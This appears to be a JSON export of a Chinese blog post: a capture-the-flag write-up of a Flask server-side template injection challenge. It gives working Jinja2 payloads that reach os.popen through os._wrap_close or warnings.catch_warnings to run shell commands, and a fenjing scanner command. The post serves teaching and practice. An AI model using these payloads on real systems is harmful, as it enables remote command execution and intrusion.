{"id":2922,"date":"2026-01-07T16:35:32","date_gmt":"2026-01-07T08:35:32","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=2922"},"modified":"2026-01-07T16:35:36","modified_gmt":"2026-01-07T08:35:36","slug":"flask-ssti","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2026\/01\/07\/flask-ssti\/","title":{"rendered":"Flask SSTI"},"content":{"rendered":"<h1>\u89e3\u6cd5\u4e00<\/h1>\n<p>1.\u8bbf\u95ee\u7f51\u7ad9\uff0c\u6ca1\u6709\u53d1\u73b0\u4ec0\u4e48\u63d0\u793a<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260107144557.png\" alt=\"Pasted image 20260107144557.png\"><\/p>\n<p>2.\u5c1d\u8bd5\u4f20\u5165name\u53c2\u6570\uff0c\u53d1\u73b0\u9875\u9762\u51fa\u73b0\u53d8\u5316<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260107144633.png\" alt=\"Pasted image 20260107144633.png\"><\/p>\n<p>3.\u5c1d\u8bd5\u4f20\u5165<code>{{7*7}}<\/code>\uff0c\u6210\u529f\u89e3\u6790\u4e3a49\uff0c\u5b58\u5728SSTI\u6ce8\u5165<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260107145106.png\" alt=\"Pasted image 20260107145106.png\"><\/p>\n<p>4.\u4f20\u5165<code>{{''.__class__}}<\/code>\u67e5\u770b\u5f53\u524d\u5bf9\u8c61\u6240\u5c5e\u7684\u7c7b\uff0c\u9875\u9762\u6ca1\u6709\u663e\u793a<br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260107150848.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260107150848.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"Pasted image 20260107150848.png\"><\/div><br \/>\n\u53f3\u952e\u67e5\u770b\u6e90\u4ee3\u7801\uff0c\u53d1\u73b0\u662f\u6267\u884c\u4e86\u7684\u53ea\u662f\u6ca1\u6709\u663e\u793a\u5728\u524d\u7aef<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260107150940.png\" alt=\"Pasted image 20260107150940.png\"><\/p>\n<p>5.\u8f93\u5165<code>{{''.__class__.__base__}}<\/code>\u67e5\u770b\u5f53\u524d\u7c7b\u5bf9\u5e94\u7684\u7236\u7c7b\u662fobject<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260107155626.png\" alt=\"Pasted image 20260107155626.png\"><\/p>\n<p>6.\u8f93\u5165<code>{{''.__class__.__base__.__subclasses__()}}<\/code>\u67e5\u770bobject\u7c7b\u7684\u6240\u6709\u5b50\u7c7b<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260107155613.png\" alt=\"Pasted image 20260107155613.png\"><\/p>\n<p>7.\u7206\u7834<code>os._wrap_close<\/code>\u6a21\u5757\u5bf9\u5e94\u7684\u4e0b\u6807\u4e3a117<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260107160055.png\" alt=\"Pasted image 20260107160055.png\"><\/p>\n<p>8.\u8c03\u7528<code>__init__<\/code>\u51fd\u6570\uff0c\u5224\u65ad\u6a21\u5757\u662f\u5426\u91cd\u8f7d<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260107160142.png\" alt=\"Pasted image 20260107160142.png\"><\/p>\n<p>9.\u4f7f\u7528<code>__globals__<\/code>\u51fd\u6570\u67e5\u770b\u5168\u5c40\u53d8\u91cf\uff0c\u5224\u65ad\u6709\u54ea\u4e9b\u6a21\u5757\u53ef\u4ee5\u8c03\u7528<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260107160241.png\" alt=\"Pasted image 20260107160241.png\"><\/p>\n<p>10.\u6784\u9020payload\u83b7\u53d6flag<\/p>\n<pre><code>?name={{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']('__import__(&quot;os&quot;).popen(&quot;ls&quot;).read()')}}\n<\/code><\/pre>\n<p>\u5f53\u524d\u76ee\u5f55\u4e0b\u6ca1\u6709<br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260107160334.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260107160334.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"Pasted image 20260107160334.png\"><\/div><br \/>\n\u67e5\u770b\u73af\u5883\u53d8\u91cfenv\uff0c\u6210\u529f\u627e\u5230flag<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260107160431.png\" alt=\"Pasted image 20260107160431.png\"><\/p>\n<h1>\u89e3\u6cd5\u4e8c<\/h1>\n<p>\u5bfb\u627e\u53ef\u4ee5\u4f7f\u7528\u7684\u6a21\u5757<br \/>\n<code>warnings.catch_warnings<\/code>(\u9700\u81ea\u5df1\u5bfc\u5165os\u6a21\u5757)\u3001<code>socket._socketobject<\/code>(\u9700\u81ea\u5df1\u5bfc\u5165os\u6a21\u5757)\u3001<code>site._Printer<\/code>\u3001<code>site.Quitter<\/code>\u7b49\u6a21\u5757\u7684\u5185\u7f6eos\uff0c\u901a\u8fc7os\u6a21\u5757\u6211\u4eec\u53ef\u4ee5\u505a\u5230system\u6267\u884c\u547d\u4ee4\uff08system\u6267\u884c\u6210\u529f\u8fd4\u56de0\uff0c\u4e0d\u4f1a\u5728\u9875\u9762\u663e\u793a\u3002\uff09\u3001popen\u7ba1\u9053\u8bfb\u53d6\u6587\u4ef6\u3001listdir\u5217\u76ee\u5f55\u7b49\u64cd\u4f5c<\/p>\n<p>\u7206\u7834<code>warnings.catch_warnings<\/code>\u6a21\u5757\u5bf9\u5e94\u7684\u4e0b\u6807\u4e3a166<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260107160555.png\" alt=\"Pasted image 20260107160555.png\"><\/p>\n<p>\u4f7f\u7528<code>__globals__<\/code>\u51fd\u6570\u67e5\u770b\u5168\u5c40\u53d8\u91cf\uff0c\u5224\u65ad\u6709\u54ea\u4e9b\u6a21\u5757\u53ef\u4ee5\u8c03\u7528<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260107160904.png\" alt=\"Pasted image 20260107160904.png\"><\/p>\n<p>\u6784\u9020payload<\/p>\n<pre><code>?name={{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__.__builtins__['eval'](&quot;__import__('os').popen('ls').read()&quot;)}}\n<\/code><\/pre>\n<p><code>__bases__<\/code> \u8fd9\u4e2a\u5c5e\u6027\u7684\u8fd4\u56de\u503c\u7c7b\u578b\u662f\u5143\u7ec4<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260107161343.png\" alt=\"Pasted image 20260107161343.png\"><\/p>\n<h1>\u89e3\u6cd5\u4e09<\/h1>\n<pre><code>python -m fenjing scan -u http:\/\/node5.buuoj.cn:29239\/\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260107144147.png\" alt=\"Pasted image 20260107144147.png\"><\/p>\n<p>\u6210\u529fRCE<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260107143957.png\" alt=\"Pasted image 20260107143957.png\"><\/p>\n<p>\u67e5\u770b\u5f53\u524d\u76ee\u5f55\uff0c\u6ca1\u6709\u53d1\u73b0flag<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260107144010.png\" alt=\"Pasted image 20260107144010.png\"><\/p>\n<p>\u67e5\u770bapp.py\uff0c\u6ca1\u6709\u53d1\u73b0flag<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260107144047.png\" alt=\"Pasted image 20260107144047.png\"><\/p>\n<p>\u67e5\u770b\u73af\u5883\u53d8\u91cf<code>env<\/code>\uff0c\u6210\u529f\u627e\u5230flag<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260107144516.png\" alt=\"Pasted image 20260107144516.png\"><\/p>\n<h1>\u603b\u7ed3<\/h1>\n<ul>\n<li>SSTI<\/li>\n<li><code>warnings.catch_warnings<\/code>\u4ee5\u53ca<code>os._wrap_close<\/code>\u7684\u4f7f\u7528<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>\u89e3\u6cd5\u4e00 1.\u8bbf\u95ee\u7f51\u7ad9\uff0c\u6ca1\u6709\u53d1\u73b0\u4ec0\u4e48\u63d0\u793a 2.\u5c1d\u8bd5\u4f20\u5165name\u53c2\u6570\uff0c\u53d1\u73b0\u9875\u9762\u51fa\u73b0\u53d8\u5316 3.\u5c1d\u8bd5\u4f20\u5165{{7*7}} [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24,8,22],"tags":[70],"class_list":["post-2922","post","type-post","status-publish","format-standard","hentry","category-buuctf","category-ctf","category-ctf-web","tag-ssti"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2922","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=2922"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2922\/revisions"}],"predecessor-version":[{"id":2923,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2922\/revisions\/2923"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=2922"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=2922"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=2922"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}